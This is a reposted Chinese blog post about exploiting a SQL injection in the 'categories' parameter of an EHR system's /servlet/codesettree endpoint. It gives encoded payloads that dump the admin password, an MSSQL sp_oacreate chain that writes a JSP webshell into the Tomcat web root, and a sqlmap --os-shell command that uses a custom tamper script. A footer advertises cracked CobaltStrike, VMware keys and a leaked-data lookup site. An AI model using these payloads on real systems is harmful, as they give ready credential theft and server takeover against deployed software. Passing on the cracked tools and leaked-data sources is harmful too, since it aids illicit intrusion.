某ehr-sql注入漏洞利用GetShell

admin 2023年6月16日09:48:27评论46 views字数 2961阅读9分52秒阅读模式

前言

很早之前就审过该ehr系统(sql注入的确挺多的),没想到这段时间打攻防,遇上它了,虽然没通过最近爆出来的SQL注入漏洞去getshell,但是回酒店后也简单的复习了一下。

某ehr-sql注入漏洞利用GetShell

漏洞成因


首先漏洞触发点是在/servlet/codesettree这个路径下,一般情况下servlet的声明都会在WEB-INF/web.xml

某ehr-sql注入漏洞利用GetShell


这个路径的servlet-name的值是CodeSetServlet,继续搜索该servlet-name的值

此时找到了该servlet对应的类是com.hjsj.hrms.servlet.sys.CodeSetServlet

某ehr-sql注入漏洞利用GetShell

搜一下,发现逻辑很简单, CodeSetServlet继承于HttpServlet

CodeSetServlet类定义了默认的构造方法CodeSetServlet(),该方法没实现功能

重写了doGet()doPost()方法,这两个方法用于处理http请求方法

Get请求访问这个url-pattern时,会执行doPost的逻辑,传入参数flagstatuscodesetidparentidcategoriesfromflag的值,并将这些参数的值传递到了loadUserNodes方法里

某ehr-sql注入漏洞利用GetShell

flag=c时,即var1=c时,这里执行了一个sql查询的操作

var5的值直接拼接到了sql语句里,var5是访问路径/servlet/codesettree时传入的categories的值,所以categories参数处存在一个SQL注入漏洞

某ehr-sql注入漏洞利用GetShell

categories的值传递过程中需要使用SafeCode.decode方法处理一下

某ehr-sql注入漏洞利用GetShell

这里也实现了encode的逻辑,逻辑很好读,下面将会解读

某ehr-sql注入漏洞利用GetShell


漏洞利用

互联网流传payload(功能是查询数据库名称)

/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d&codesetid=1&flag=c&parentid=-1&status=1

某ehr-sql注入漏洞利用GetShell

深入利用

读取后台管理员账号密码

编码前

1' union all select 'hellohongjingHcm',PassWord from OperUser where UserName='admin'--

编码后

~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cPassWord~20from~20OperUser~20where~20UserName~3d~27admin~27~2d~2d

某ehr-sql注入漏洞利用GetShell

效果

某ehr-sql注入漏洞利用GetShell


getshell

方法一:存储过程Getshell,要求站库不分离

该漏洞利用前提条件是dba权限和网站物理路径

在某个servlet的实现方法里,发现了获取物理路径的方法

这里通过getAbsolutePath()方法获取到文件的物理路径后,直接在fullpath处回显,该物理路径被PubFunc.encrypt()方法加密

某ehr-sql注入漏洞利用GetShell

直接开始利用了,发包,拿到fullpath的值

某ehr-sql注入漏洞利用GetShell

很明显,一般有encrypt方法,那么该类下就会有decrypt方法

某ehr-sql注入漏洞利用GetShell

调用该方法解密,得到网站物理路径。

某ehr-sql注入漏洞利用GetShell

tomcat项目里,网站根目录路径一般是D:tomcatwebappsROOT

因此此处的网站根目录路径是D:apache-tomcat-x.x.xwebappsROOT

将存储过程中的输出路径修改到网站根目录下的jsp文件里

1';EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure '
Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure '
show advanced options', 0;declare @o int, @f int, @t int, @ret int
exec sp_oacreate '
scripting.filesystemobject', @o out
exec sp_oamethod @o, '
createtextfile', @f out, 'D:apache-tomcat-x.x.xwebappsROOTtest.jsp', 1
exec @ret = sp_oamethod @f, '
writeline', NULL,'webshell';--

调用SafeCode.encode()方法进行编码操作

某ehr-sql注入漏洞利用GetShell

发包后,回显xml,代表发送成功(失败就url编码一下)

某ehr-sql注入漏洞利用GetShell

再访问http://x.x.x.x/test.jsp,发送写入成功

某ehr-sql注入漏洞利用GetShell


方法二:编写sqlmap的tamper,通过os-shell来Getshell

要编写sqlmaptamper脚本,就得了解这里SafeCode.encode()的逻辑

某ehr-sql注入漏洞利用GetShell

  1. 传入字符串s,声明字符串s3

  2. 判断字符串s是否为空,不为空走else逻辑;

  3. 获取字符串s的长度,循环取出字符串中的每个字符,判断字符cunicode的值是否大于255。如果大于,将该字符的unicode的值转换成16进制,并确保该16进制的值是4位长度,不够4位,前面补0,直到4位。补到4位后,拼接到s3+'^'后面;

  4. 判断字符c是否是一个可以显示的ascii编码的字符,如果是,则字符c拼接到s3后面;

  5. 上面两个条件都不符合的情况下,将字符cunicode的值,转换成16进制,确保该16进制的值是2位长度,不够2位,前面补0。并拼接到s3+'~'后面。

最终效果

python3 sqlmap.py -u "http://x.x.x.x/servlet/codesettree?categories=1&codesetid=1&flag=c&parentid=-1&status=1"  -p categories --dbms="Microsoft SQL Server" --tamper ehr_SafeCodeEncode_tamper --level 3 --os-shell 

某ehr-sql注入漏洞利用GetShell


总结

虽然这次攻防不是利用这个注入打进去的,但是学习了一下新的GETSHELL方法也是不错的。

关于上面获取物理路径的方法,可以自行找一下,难度不大



某ehr-sql注入漏洞利用GetShell

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境0006 获取 CobaltStrike 4.8破解版


加我微信好友,邀请你进交流群


某ehr-sql注入漏洞利用GetShell




往期推荐



微信电脑版小程序抓包方法

RdViewer远控隐蔽利用及钓鱼攻击

Threadless Inject - 一种新颖的进程注入技术

iVMS-8700综合安防管理平台代码审计

红队标准手册

记一次从linux打进域控

可能要被封号了!

备用号,欢迎关注


某ehr-sql注入漏洞利用GetShell

原文始发于微信公众号(刨洞技术交流):某ehr-sql注入漏洞利用GetShell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月16日09:48:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某ehr-sql注入漏洞利用GetShellhttp://cn-sec.com/archives/1809511.html

发表评论

匿名网友 填写信息